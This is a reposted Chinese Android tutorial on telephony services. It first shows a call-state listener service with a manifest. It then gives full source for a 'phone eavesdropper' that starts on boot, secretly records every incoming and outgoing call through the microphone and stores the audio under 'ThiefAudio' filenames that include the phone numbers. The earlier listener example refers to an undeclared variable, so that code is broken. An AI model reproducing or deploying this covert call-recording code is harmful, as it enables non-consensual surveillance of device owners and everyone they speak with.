码迷,mamicode.com
首页 > 移动开发 > 详细

Android电话服务

时间:2016-05-09 07:00:51      阅读:385      评论:0      收藏:0      [点我收藏+]

标签:

电话服务
对电话进行监听:
1.使用getSystemService()方法可以取得Context.TELEPHONY_SERVICE服务,取得的服务对象类型为android.telephony.TelephonyManager.
Listen()方法是比较重要的一个方法,通过此方法可以绑定一个PhoneStateListener类的对象,以完成对电话各个状态的监听,在此类中,主要是通过onCallStateChanged()方法进行来、去电的监听处理。方法:
public void onCallStateChanged(int state,String incomingNumber);【state:判断电话的操作状态,;incomingNumber:拨入的电话号码】

1)定义电话监听服务---PhoneService
public class PhoneService extends Service {
    private TelephonyManager telephony = null;

    @Override
    public void onCreate() { // 服务创建的时候操作
        super.onCreate();
        this.telephony = (TelephonyManager) super
                .getSystemService(Context.TELEPHONY_SERVICE);
        this.telephony.listen(new PhoneStateListenerImpl(),
                PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作
    }

    private class PhoneStateListenerImpl extends PhoneStateListener {

        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: // 没有拨入或拨出电话状态
                break;
            case TelephonyManager.CALL_STATE_RINGING: // 领音响起
                System.out.println("拨入电话号码:"
                        + incomingNumber
                        + ",拨入时间:"
                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
                                .format(new Date()));//后台输出
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话
System.out.println("拨出电话号码:"
                        + outgoingNumber
                        + ",拨出时间:"
                        + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")
                                .format(new Date()));//后台输出

                break;
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
2)定义电话服务的广播接收器----PhoneBroadcastReceiver
public class PhoneBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电
            String outgoingNumber = intent
                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码
            Intent pit = new Intent(context, PhoneService.class);
            pit.putExtra("outgoingNumber", outgoingNumber);//保存去电号码
            context.startService(pit);//启动Service
        } else { // 来电
    context.startService(new Intent(context, PhoneService.class));// 启动Service

        }
    }

}
(3)权限配置
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="org.lxh.demo" android:versionCode="1" android:versionName="1.0">
    <uses-sdk android:minSdkVersion="10" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".MyPhoneDemo" android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".PhoneService" />
        <receiver android:name=".PhoneBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.PHONE_STATE" />
            </intent-filter>
        </receiver>
    </application>
</manifest>

发现你的私人秘密:电话窃听器

1)定义完成录音操作的工具类—RecodAudioUtil
public class RecordAudioUtil {
    private MediaRecorder mediaRecorder = null;//录音工具类
    private String recDir = "theifaudio";
    private File recordAudioSaveFileDir = null;
    private boolean sdcardExists = false;
    private boolean isRecord = false;
    private String phoneNumber = null; // 电话号码
    private String callType = null; // 呼叫类型

    public RecordAudioUtil(String phoneNumber, String callType) {
        this.phoneNumber = phoneNumber;
        this.callType = callType;
        if ((this.sdcardExists = Environment.getExternalStorageState().equals(
                Environment.MEDIA_MOUNTED))) {
            this.recordAudioSaveFileDir = new File(Environment
                    .getExternalStorageDirectory().toString()
                    + File.separator
                    + this.recDir + File.separator);
            if (!this.recordAudioSaveFileDir.exists()) {
                this.recordAudioSaveFileDir.mkdirs();
            }
        }
    }

    public File record() { // 进行电话的录音,同时返回文件的路径
        File recordAudioSaveFile = null;
        String recordAudioSaveFileName = null;
        if (this.sdcardExists) { // sd卡存在
            recordAudioSaveFileName = this.recordAudioSaveFileDir.toString()
                    + File.separator
                    + "ThiefAudio_"
                    + new SimpleDateFormat("yyyyMMddhhmmssSSS")
                            .format(new Date()) + "_" + this.callType + "_"
                    + this.phoneNumber + ".3gp";
            recordAudioSaveFile = new File(recordAudioSaveFileName);
            this.mediaRecorder = new MediaRecorder();
            this.mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            this.mediaRecorder
                    .setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            this.mediaRecorder
                    .setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
            this.mediaRecorder.setOutputFile(recordAudioSaveFileName);
            try {
                this.mediaRecorder.prepare();
            } catch (Exception e) {
                e.printStackTrace() ;
            }
            this.mediaRecorder.start();
            this.isRecord = true;
        }
        return recordAudioSaveFile;
    }

    public void stop() {
        if (this.isRecord) {
            this.mediaRecorder.stop();
            this.mediaRecorder.reset() ;
            this.mediaRecorder.release();
        }
    }
}
2)修改通话操作的服务类---PhoneService
public class PhoneService extends Service {
    private TelephonyManager telephony = null;
    private String outgoingNumber = null;
    private RecordAudioUtil raUtil = null;

    @Override
    public void onCreate() { // 服务创建的时候操作
        super.onCreate();
        this.telephony = (TelephonyManager) super
                .getSystemService(Context.TELEPHONY_SERVICE);
        this.telephony.listen(new PhoneStateListenerImpl(),
                PhoneStateListener.LISTEN_CALL_STATE); // 设置监听操作
    }

    @Override
    public void onStart(Intent intent, int startId) {
        this.outgoingNumber = intent.getStringExtra("outgoingNumber");
        super.onStart(intent, startId);
    }

    private class PhoneStateListenerImpl extends PhoneStateListener {

        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE: // 挂断电话
                if (PhoneService.this.raUtil != null) { // 保险
                    PhoneService.this.raUtil.stop();
                    PhoneService.this.raUtil = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING: // 领音响起
                PhoneService.this.raUtil = new RecordAudioUtil(incomingNumber,
                        "拨入电话");
                PhoneService.this.raUtil.record();
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK: // 接听电话
                PhoneService.this.raUtil = new RecordAudioUtil(
                        PhoneService.this.outgoingNumber, "拨出电话");
                PhoneService.this.raUtil.record();
                break;
            }
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
3)PhoneBroadcastReceiver类
public class PhoneBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())) { // 去电
            String outgoingNumber = intent
                    .getStringExtra(Intent.EXTRA_PHONE_NUMBER); // 去电号码
            Intent pit = new Intent(context, PhoneService.class);
            pit.putExtra("outgoingNumber", outgoingNumber);
            context.startService(pit);
        } else { // 来电
            context.startService(new Intent(context, PhoneService.class));
        }
    }

}

Android电话服务

标签:

原文地址:http://blog.csdn.net/changjj_niu/article/details/51348843

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!